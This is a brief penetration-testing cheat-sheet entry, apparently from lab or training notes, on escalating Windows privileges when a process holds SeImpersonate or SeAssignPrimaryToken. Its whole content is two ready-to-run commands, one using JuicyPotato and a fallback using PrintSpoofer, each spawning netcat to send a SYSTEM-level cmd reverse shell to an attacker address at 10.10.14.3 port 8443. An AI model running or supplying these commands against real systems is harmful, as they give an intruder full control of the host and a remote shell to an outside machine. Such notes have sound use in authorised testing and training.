SeImpersonate and SeAssignPrimaryToken
We can run JuicyPotato to escalate our privileges.
JuicyPotato.exe -l 53375 -p c:\windows\system32\cmd.exe -a "/c c:\tools\nc.exe 10.10.14.3 8443 -e cmd.exe" -t *
If that doesn't work try printspoofer
PrintSpoofer.exe -c "c:\tools\nc.exe 10.10.14.3 8443 -e cmd"
Last updated